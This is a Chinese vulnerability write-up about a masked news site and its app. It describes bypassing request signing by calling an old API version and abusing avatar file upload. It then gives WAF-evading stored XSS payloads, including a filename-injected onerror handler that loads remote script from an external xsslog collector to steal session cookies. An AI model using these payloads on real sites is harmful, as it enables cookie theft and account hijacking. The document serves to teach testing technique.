申明:文中厂商信息已进行严格打码,仅供学习,通过了解相关原理,来做自身安全与防护。切勿非法使用。

前言

把你的XSS,我的XSS,串一串。。。串一串。。。今天这个XSS还是比较有意思,将几个小问题层层深入,发现新的漏洞点,主要考察耐心和细心程度。
首先介绍下测试目标:新闻网站主站(下文统称www)以及相应Android APP(下文统称APP)。

  • www不能登录,不能评论,自带cookie(主要是sessionid,无http-only属性)。

  • APP可以进行注册登录,更新头像,并且可进行新闻评论,评论结果会定期同步到www。

APP通过sign参数进行l了签名校验,签名中加入timestamp参数(当前时间戳),数据包一次性失效。因此,如果想要改包,一般来说,需要先逆向APP加密算法,重新计算改包后的sign值,而且包只能用一次,不能用repeater重复发包。测试起来可以说是非常的麻烦。

测试过程

www站可以说是全静态,没啥能测的业务,只能从APP入手测试。要测APP首先就要解决sign校验的问题。

1、绕过sign校验

当时想了几个思路:
1、逆向APP并解密。看起来最靠谱,但是最费时间,APP还做了混淆。
2、找旧版本的APP,看看有没有未加密版本。笔者最开始尝试了这种方法,找到了不少旧版本,但都进行了签名校验。
3、观察几个版本APP接口URL发现规律,直接绕过校验。这个规律是在下载旧版APP后,发现访问路径中带有的版本标志不一致,才想到了试试能不能访问更低版本的。也是下文采用的方法。
首先测试的是最新版v2.6,URL形式如下:
https://app.******.cn/*****/app/v2.6/msg/readlist?timestamp=1544779995263&channel=APP&sign=b3d8f9de609e8b169a0e47069df4072c
旧版本APP为v2.3:
https://app.******.cn/*****/app/v2.3/msg/readlist?timestamp=1544779995263&channel=APP&sign=b3d8f9de609e8b169a0e47069df4072c
通过遍历v0.1-v2.6发现v2.0以前的版本不需要sign参数。如:
https://app.******.cn/*****/app/v1.9/msg/readlist?timestamp=1544779995263&channel=APP&sign=b3d8f9de609e8b169a0e47069df4072c
验证过程:
最新版v2.6:多次访问v2.6版本URL,提示“请求已经过期”;删除sign参数提示“缺少参数sign”。【漏洞案例】三个xss一台戏 - 图1旧版v2.0:删除sign参数访问,提示“缺少参数sign”。【漏洞案例】三个xss一台戏 - 图2旧版v1.9:删除sign参数访问,正常返回。【漏洞案例】三个xss一台戏 - 图3
由此得知v1.9之前的版本不需要sign参数。通过burpsuite批量替换request请求中的v2.6为v1.9即可绕过sign校验和数据包一次性失效。
【漏洞案例】三个xss一台戏 - 图4
那么,可以开始测试了。。。

2、头像修改处任意文件上传

APP中修改头像处存在任意文件上传漏洞,但文件都上传到文件服务器:img.**.cn(后面统称IMG)。
测试发现,v2.6版本能上传.txt .html、.jpg等文件后缀;v0.1-v1.0版本还可上传.jsp等文件后缀。不过这个都问题不大。
这种专门的文件服务器,最简单的利用方式就是直接上传包含xss payload的html文件,构造为存储型xss。
理想很丰满,现实很骨感,遇到了阿里云的waf,对文件内容做了检测。绕了很久,通过如下payload绕过:

  1. <details/open/ontoggle=top'al\x65rt'> #后来测试发现,部分img标签的payload也可以绕过。

IE、Chrome下触发:
【漏洞案例】三个xss一台戏 - 图5
【漏洞案例】三个xss一台戏 - 图6

严格意义上来,这个说都不算存储型XSS,更像个反射型;因为这个点是上传头像,最后显示的URL会包裹在【漏洞案例】三个xss一台戏 - 图7标签中,不会直接触发,只能把连接发给别人,手动触发。这个操作一点都不骚,而且影响非常有限,既不能打到www的cookie,也不能在任意页面触发。
可惜这枚漏洞被人捷足先登了。一首《沙漠骆驼》送给小的自己。
问:既然提到了头像,哪里会显示头像楠?
答:评论功能。因此下一个测试点自然就转到了APP评论新闻功能。

3、WWW主站评论处存储型XSS

既然APP存在评论功能,自然就想试试有没有XSS,但是在APP中提交payload后无果。(任然需要绕过阿里云waf)
【漏洞案例】三个xss一台戏 - 图8

WWW站点和APP评论的同步貌似是半个小时进行一次,因此等了一会儿,在WWW主站中找到了自己的评论。<>被转义了,一首《凉凉》送给小小的自己。【漏洞案例】三个xss一台戏 - 图9
偶然间,在点开了Chrome的Toggle device toolbar,结果触发了:
【漏洞案例】三个xss一台戏 - 图10
那么,在手机浏览器中也就自然而然会触发了。
【漏洞案例】三个xss一台戏 - 图11
虽然访问的URL完全相同,但服务端根据浏览器agent做了不同的回包响应。
PC端浏览器:
【漏洞案例】三个xss一台戏 - 图12
移动端浏览器:
【漏洞案例】三个xss一台戏 - 图13
因此:相同的URL有时候返回内容是不同的,agent、refer等等隐形参数可能会是触发漏洞的条件。
可惜这枚漏洞被人捷足先登了。一首《沙漠骆驼》送给小小的自己。

4、头像显示处XSS

alert(1)

既然头像文件后缀名能任意指定,那能不能存在双引号喃?
正常的头像显示代码如下:【漏洞案例】三个xss一台戏 - 图14
决定试试在后缀名最后加个双引号试试。结果发现还真生成了带有双引号的后缀。


  • 需要注意的是平常上传文件,Content-Disposition形式为:

Content-Disposition: form-data; name="file"; filename=``"``1111.png``"

  • 要想上传” 闭合前面双引号,形式需要变为如下:

Content-Disposition: form-data; name="file"; filename=``'``1111.png'

  • 引入onerror属性,闭合后面双引号:

Content-Disposition: form-data; name="file"; filename=``'``1111.pngonerror=alert(1)a=”'

  • onerror=top["al"+"ert"](1)弹框绕过waf,但没触发:

Content-Disposition: form-data; name="file"; filename='1111.png" onerror=top["al"+"ert"](1) a="'

【漏洞案例】三个xss一台戏 - 图15
看下代码,发现onerror=top["al"+"ert"](1)莫名变成了onerror="top[alert](1)"
【漏洞案例】三个xss一台戏 - 图16
要想触发弹窗,因此需要找能在onerror=”xxxx” 中触发的代码:

  • 最终用onerror=a=alert,a(1)绕过waf触发:
    1. Content-Disposition: form-data; name="file"; filename='1.png" onerror=a=alert,a(1) a="'
    【漏洞案例】三个xss一台戏 - 图17
    访问WWW网站新闻:【漏洞案例】三个xss一台戏 - 图18【漏洞案例】三个xss一台戏 - 图19

    alert(document.cookie)

    只是弹个框框怎么足够,前端梦想黑脸客应该是要打cookie的,还要远程打。
    没有设置http-only,payload改为onerror=a=alert,a(docunmen.cookie)发现文件名字变得很畸形,没能正常构造。【漏洞案例】三个xss一台戏 - 图20
    分析后发现字符串中不能存在点号,于是将.转码为:.
    【漏洞案例】三个xss一台戏 - 图21
  1. Content-Disposition: form-data; name="file"; filename='1.png" onerror=a=alert,a(document&#x2e;cookie) a="'

终于放飞了自我:
【漏洞案例】三个xss一台戏 - 图22【漏洞案例】三个xss一台戏 - 图23【漏洞案例】三个xss一台戏 - 图24

绕过:./‘限制,盲打cookie

【漏洞案例】三个xss一台戏 - 图25标签中要远程获取cookie的话,鄙人只知道如下形式payload:

  1. <img src="xxx" onerror="$.getScript('http://x.xsslog.cn/KImpyF')">

getScript()需要jquery支持,恰好网站使用了它,那么这种操作就可行。
【漏洞案例】三个xss一台戏 - 图26
尝试将.替换为. 上传失败

  1. Content-Disposition: form-data; name="file"; filename='1111.png" onerror=$&#x2e;getScript('http://x$&#x2e;xsslog$&#x2e;cn/KImpyF') a="'

分析后发现,这个payload中有两个问题:

  • 存在 . : / 就会报错

  • getScript(‘http://x$.xsslog$.cn/KImpyF‘) 这两个单引号需要转义,不然文件名外面的单引号闭合就凉了。

【漏洞案例】三个xss一台戏 - 图27
因此,这些字符需要处理掉。这里采用xss’or进行编码:

转换结果如下:

  1. . => &#46; 或者 &#x2e;
  2. / => &#47;
  3. : => &#58;
  4. ' => &#39; #getScript()方法

将payload中的 : / . ‘ 全部替换为如下:
Content-Disposition: form-data; name="file"; filename='1111.png" onerror=$.getScript('http&#58;//x.*******.cn/KImpyF') a="'

  1. Content-Disposition: form-data; name="file"; filename='1111.png" onerror=$&#x2e;getScript(&#39;http&#58;&#47;&#47;x&#x2e;*******&#x2e;cn&#47;KImpyF&#39;) a="'

【漏洞案例】三个xss一台戏 - 图28
访问之前那个文章发现头像链接没有更新,于是在一个新的新闻下进行评论,再次等待评论被同步。接下来坐等头像更新。
经过漫长的一夜等待,头像更新,盲打成功。
【漏洞案例】三个xss一台戏 - 图29

【漏洞案例】三个xss一台戏 - 图30

技巧总结

1、绕过签名。
2、文件上传时是可以尝试上传双引号的,只需要把外面的filename=”1111.png”中的”改为’

  1. Content-Disposition: form-data; name="file"; filename="1111.png"
  2. Content-Disposition: form-data; name="file"; filename='1111.png'
  3. Content-Disposition: form-data; name="file"; filename='1111.png" onerror=a=alert,a(1) a="'

3、相同的URL有时候返回内容是不同的,访问可能受到agent、refer等等隐形参数影响。
4、” ‘ 在js函数中可以用unicode编码代替.